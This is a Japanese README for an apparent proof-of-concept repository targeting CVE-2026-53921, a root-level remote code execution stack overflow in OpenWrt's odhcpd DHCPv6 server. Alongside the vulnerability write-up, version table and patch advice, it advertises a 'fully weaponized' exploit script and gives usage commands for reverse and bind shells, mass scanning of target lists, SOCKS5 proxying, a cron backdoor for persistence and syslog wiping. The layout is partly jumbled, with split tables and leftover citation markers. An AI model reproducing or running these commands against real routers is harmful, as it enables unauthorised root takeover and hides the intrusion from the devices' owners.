
CVE-2026-53921 – odhcpd スタックオーバーフロー (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE向けの詳細かつ包括的な脆弱性Write-Upと検証ツール & マルチエクスプロイト。デュアルベクター (IA_NA/IA_PD) オーバーフローを備え、MIPS/ARMシェルコード、ROPチェーン、SOCKS5プロキシ、永続化、ログ消去、大規模スキャンに対応。倫理的に使用し、法的に遵守してください。 🔒

⚠️ 教育および許可されたテスト目的のみ。無許可での使用は違法です。
CVE-2026-53921 は、OpenWrt の odhcpd デーモン(既定の DHCPv6/DHCPv4/RA サーバー)における深刻なスタックバッファオーバーフローです。
この脆弱性は odhcpd の DHCPv6 メッセージ処理コード、具体的には build_ia() 関数と dhcpv6_ia_handle_IAs() 関数に存在します。
このバグは、DHCPv6 Reply パケットのシリアライズ(パッキング)中に発生します。odhcpd はクライアントの要求に応答する際、適切な境界チェックを行わずに、512バイトの固定サイズのスタックバッファに応答を構築します。
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
攻撃者は、以下の要素を含む DHCPv6 Request(または Solicit)を送信します:
各オプションは odhcpd が Reply を構築する際にスタック領域を消費します。蓄積されたデータが 512バイト を超えると、オーバーフローが発生します。
ベクター トリガー オーバーフローポイント
サイト1 5つの IA_NA オプション IA_NA 用の build_ia()
(IPv6 アドレスを含む)
build_ia()根本原因は同一ですが、オーバーフローは異なるコードパスで発生するため、両方のベクターが同等に悪用可能です。
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
攻撃者は保存されたリターンアドレスを上書きし、メモリ内のシェルコードを指すようにします。
要件 説明
ネットワークアクセス 攻撃者はターゲットへの IPv6 接続性が 必要
認証 不要 -- 認証なしの攻撃
権限 odhcpd は root で実行されるため、
RCE によりシステム全体を制御可能
実際のエクスプロイトでは、攻撃者のシェルコードは IAAddress の IPv6 アドレスフィールド(IA_NA ごとに16バイト)に配置されます。細工されたパケットは、シェルコード、NOPスレッド、リターンアドレスをこれらのフィールドに詰め込みます。
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
バージョン ステータス RCE 可能?
odhcpd < e432dd6 影響あり ✅ 可能 OpenWrt < 24.10.8 影響あり ✅ 可能 OpenWrt < 25.12.5 影響あり ✅ 可能 OpenWrt 24.10.8+ 修正済み ❌ 不可能 OpenWrt 25.12.5+ 修正済み ❌ 不可能 odhcpd master + e432dd6 修正済み ❌ 不可能
この脆弱性が特に危険な理由は次のとおりです:
odhcpd は OpenWrt のインストールでデフォルトで有効になっています。| コンポーネント | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
odhcpd(master ブランチ) | コミット e432dd6 より前 | e432dd6 以降 |
| OpenWrt リリース | < 24.10.8 < 25.12.5 |
このリポジトリは2つの独立したスクリプトを提供します:
| スクリプト | 目的 | エクスプロイトコード | 安全性 |
|---|---|---|---|
verifier.py | 非侵襲的な脆弱性チェック | ❌ なし | ✅ 安全 |
exploit.py | 完全な武器化エクスプロイト | ✅ あり | ⚠️ 危険 |
verifier.py – 脆弱性チェッカーexploit.py – 完全版エクスプロイトIA_NA(サイト1)および IA_PD(サイト2)。git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| 引数 | 説明 |
|---|---|
-u, --target | ターゲット IPv6 アドレス(必須) |
-i, --iface | ネットワークインターフェース(デフォルト: eth0) |
exploit.pysudo python3 exploit.py -l targets.txt --scan-only --threads 10
### 2. Exploit a single target with bind shell
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --payload bind --lport 31337
### 3. Use SOCKS5 proxy + persistence + log wiping
sudo python3 exploit.py -u fe80::1%eth0 --lhost 192.168.1.100 --proxy-host 127.0.0.1 --proxy-port 9050 --persistence --clear-logs
OpenWrt を 24.10.8 または 25.12.5 以降にアップグレードしてください。
opkg update
opkg upgrade odhcpd
OpenWrt セキュリティアドバイザリ(GHSA-7fwx-hhrg-3496) https://github.com/openwrt/odhcpd/security/advisories/GHSA-7fwx-hhrg-3496 odhcpd の両方のオーバーフローベクターを網羅する詳細なアドバイザリ。
CVE-2026-53921 NVD エントリ https://nvd.nist.gov/vuln/detail/CVE-2026-53921 NIST 脆弱性データベースの公式エントリ。
OpenWrt 24.10.8 リリースノート https://forum.openwrt.org/t/openwrt-24-10-8-service-release/252195 24.10 ブランチの公式リリース発表。
OpenWrt 25.12.5 リリースノート https://lists.openwrt.org/pipermail/openwrt-announce/2026-June/000088.html 25.12 ブランチの公式リリース発表。
24.10.8 および 25.12.5 リリースでは、CVE-2026-53921 以外にも複数の odhcpd 脆弱性が修正されています [citation:9]:
The Hacker News の分析 https://thehackernews.com/2026/07/critical-openwrt-dhcpv6-flaw-could-let.html 脆弱性と悪用ベクターの詳細な技術解説。 [citation:1]
GitHub PoC リポジトリ https://github.com/0xBlackash/CVE-2026-53921 公開された概念実証(PoC)実装と技術的詳細。 [citation:3]
バージョン 25.12.5 では、他のコアコンポーネントの脆弱性も修正されています [citation:10]:
OpenWrt ファームウェアセレクター https://firmware-selector.openwrt.org/ お使いのデバイス向けの修正済みファームウェアイメージをダウンロードできます。
CISA 既知の悪用済み脆弱性カタログ https://www.cisa.gov/known-exploited-vulnerabilities-catalog CVE-2026-53921 が KEV に追加されているかどうかを確認(2026年7月27日時点では未掲載)。 [citation:1]
| 24.10.8 & 25.12.5 |
| 引数 | 説明 |
|---|
-u, --target | ターゲット IPv6 アドレス |
-l, --list | ターゲットのリストを含むファイル |
-i, --iface | ネットワークインターフェース(デフォルト: eth0) |
--lhost | リスナー IP(必須) |
--lport | リスナーポート(デフォルト: 4444) |
--vector | site1、site2、または both(デフォルト: both) |
--offset | スタックオフセット(デフォルト: 512) |
--ret | 16進数のリターンアドレス(例: 0x7ffff000) |
--arch | mips または arm を強制指定(省略時は自動検出) |
--payload | reverse または bind(デフォルト: reverse) |
--encode | none または xor(デフォルト: none) |
--proxy-host | SOCKS5 プロキシ IP |
--proxy-port | SOCKS5 プロキシポート(デフォルト: 1080) |
--persistence | cron バックドアをインストール |
--clear-logs | 悪用後に syslog を消去 |
--scan-only | ターゲットのスキャンのみ行い、悪用しない |
--threads | スキャン用のスレッド数(デフォルト: 5) |
--verbose | 詳細ログ出力 |
| CVE ID | 深刻度 | 説明 |
|---|
| CVE-2026-53918 | 高 | DHCPv6 IA ハンドラーにおける use-after-free [citation:4][citation:9] |
| CVE-2026-53920 | 高 | 切り詰められた DHCPv6 IA_NA/IA_PD オプションによるスタックメモリの情報漏えい [citation:9] |
| CVE-2026-53922 | 中 | size_t アンダーフローによる認証前のサービス拒否(DoS)[citation:9] |
| CVE-2026-55606 | 中 | DUID 長のエンディアン不一致によるスタックバッファのオーバーリード [citation:9] |
| CVE-2026-62948 | - | 保存型 XSS につながる DHCPv6 ホスト名インジェクション [citation:1] |
| CVE-2026-62947 | - | cgi-io における認証済みパストラバーサル [citation:1] |